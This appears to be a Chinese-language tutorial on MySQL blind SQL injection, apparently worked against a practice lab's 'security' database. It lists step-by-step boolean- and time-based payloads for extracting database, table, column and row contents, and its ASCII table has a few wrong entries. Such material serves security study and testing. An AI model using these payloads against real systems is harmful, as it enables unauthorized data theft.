SQL注入学习之MYSQL盲注

概念:

如果每个应用程序都能按照我们输入的 SQL 命令返回我们需要的数据,那应用程序就无安全性可言了!为此,程序设计者们想到一个办法,那就是无论输入何种命令,只要 SQL 语句导致数据库产生错误,那么应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面(可能为网站首页)。这时,回显方式的 SQL 注入办法就无法使用了。盲注,即在 SQL 注入过程中,SQL 语句执行选择后,选择的数据不能回显到前端,需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

盲注分为两类:

一、 基于布尔型 SQL 盲注;

• 基于布尔型 SQL 盲注即在 SQL 注入过程中,应用程序仅仅返回 True(页面)和 False(页面)。

• 无法根据应用程序的返回页面得到需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到需要的信息。

二、 基于时间型 SQL 盲注;注入 SQL 代码之后,存在以下两种情况:

• 如果注入的 SQL 代码不影响后台[数据库]的正常功能执行,那么 Web 应用的页面显示正确(原始页面)。

• 如果注入的 SQL 代码影响后台数据库的正常功能(产生了 SQL 注入),但是此时Web 应用的页面依旧显示正常(原因是 Web 应用程序采取了“重定向”或“屏蔽”措施)。

产生一个疑问:注入的 SQL 代码到底被后台数据库执行了没有?即 Web 应用程序是否存在 SQL 注入?

面对这种情况,之前讲的基于布尔的 SQL 盲注就很难发挥作用了(因为基于布尔的 SQL 盲注的前提是 Web 程序返回的页面存在 true 和 false 两种不同的页面)。这时,一般采用基于 web 应用响应时间上的差异来判断是否存在 SQL 注入,即基于时间型 SQL 盲注。

基于布尔的盲注

在页面中,如果正确执行了SQL语句,则返回一种页面,如果SQL语句执行错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的

Payload

网上的payload一般是利用ascii()substr()length()结合进行利用

  • 获取数据库长度

    1
    and (select length(database()))=长度

大于7返回正常

大于7返回正常

大于8返回错误

大于8返回错误

等于8返回正常,说明数据库长度为8

等于8返回正常

  • 逐字猜解数据库名

    1
    and (select ascii(substr(database(),位数,1)))=ascii码

    ASCII对照表

ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符
0 NUT 32 (space) 64 @ 96
1 SOH 33 ! 65 A 97 a
2 STX 34 66 B 98 b
3 ETX 35 # 67 C 99 c
4 EOT 36 $ 68 D 100 d
5 ENQ 37 % 69 E 101 e
6 ACK 38 & 70 F 102 f
7 BEL 39 , 71 G 103 g
8 BS 40 ( 72 H 104 h
9 HT 41 ) 73 I 105 i
10 LF 42 * 74 J 106 j
11 VT 43 + 75 K 107 k
12 FF 44 , 76 L 108 l
13 CR 45 - 77 M 109 m
14 SO 46 . 78 N 110 n
15 SI 47 / 79 O 111 o
16 DLE 48 0 80 P 112 p
17 DCI 49 1 81 Q 113 q
18 DC2 50 2 82 R 114 r
19 DC3 51 3 83 S 115 s
20 DC4 52 4 84 T 116 t
21 NAK 53 5 85 U 117 u
22 SYN 54 6 86 V 118 v
23 TB 55 7 87 W 119 w
24 CAN 56 8 88 X 120 x
25 EM 57 9 89 Y 121 y
26 SUB 58 : 90 Z 122 z
27 ESC 59 ; 91 [ 123 {
28 FS 60 < 92 / 124 |
29 GS 61 = 93 ] 125 }
30 RS 62 > 94 ^ 126 `
31 US 63 ? 95 _ 127 DEL

数据库第一位字符ASCII码为114返回错误

数据库第一位字符

数据库第一位字符ASCII码为115返回正确,说明数据库第一位字符为s

数据库第一位字符

数据库第二位字符ASCII码为100返回错误

数据库第二位字符

数据库第二位字符ASCII码为101返回正确,说明数据库第二位字符为e

数据库第二位字符

…..

1
?id=1' and (select ascii(substr(database(),8,1)))=121 --+

以此类推,最后得到数据库为security

  • 猜解表名数量

1
and (select count(table_name) from information_schema.tables where table_schema=database())=数量

有4个表

  • 猜解某个表长度

    使用limit偏移,n0开始

1
and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度

第4个表长度为5

第4个表长度为5

  • 逐位猜解表名

1
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit n,1)=ascii码

4个表第ascii码116报错

等于116报错

4个表第ascii码117正确,说明第4个表第位为u

等于117正确

….

以此类推,最后得到第4个表表名users

  • 猜解列名数量

1
and (select count(*) from information_schema.columns where table_schema = database() and table_name = 表名)=数量

users列名数量为3

users表列名数量为3

  • 猜解某个列长度

    使用limit偏移,n0开始

1
and (select length(column_name) from information_schema.columns where table_name='表名' limit n,1)=长度
  • 逐位猜解列名

1
and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码
  • 判断数据的数量

1
and (select count(列名) from 表名)=数量
  • 猜解某条数据的长度

1
and (select length(列名) from admin limit n,1)=长度
  • 逐位猜解数据

1
and (select ascii(substr(user,位数,1)) from admin limit n,1)=ascii码

基于时间的盲注

布尔盲注是根据页面正常否进行注入,而时间盲注则是通过SQL语句查询的时间来进行注入,一般是在页面无回显,无报错的情况下使用

Payload

网上的payload一般是利用sleep()进行利用

  • 猜解数据库长度

1
and if((select length(database()))=长度,sleep(6),0)
  • 猜解数据库名

1
and if((select ascii(substr(database(),位数,1))=ascii码),sleep(6),0)
  • 判断表名的数量

1
and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(6),0)
  • 判断某个表名的长度

1
and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(6),0)
  • 逐位猜表名

1
and if((select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii码,sleep(6),0)
  • 判断列名数量

1
and if((select count(column_name) from information_schema.columns where table_name="表名")=个数,sleep(6),0)
  • 判断某个列名的长度

1
and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度,sleep(6),0)
  • 逐位猜列名

1
and if((select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码,sleep(6),0)
  • 判断数据的数量

1
and if((select count(列名) from 表名)=个数,sleep(6),0)
  • 判断某个数据的长度

1
and if((select length(列名) from 表名)=长度,sleep(6),0)
  • 逐位猜数据

1
and if((select ascii(substr(列名,n,1)) from 表名)=ascii码,sleep(6),0)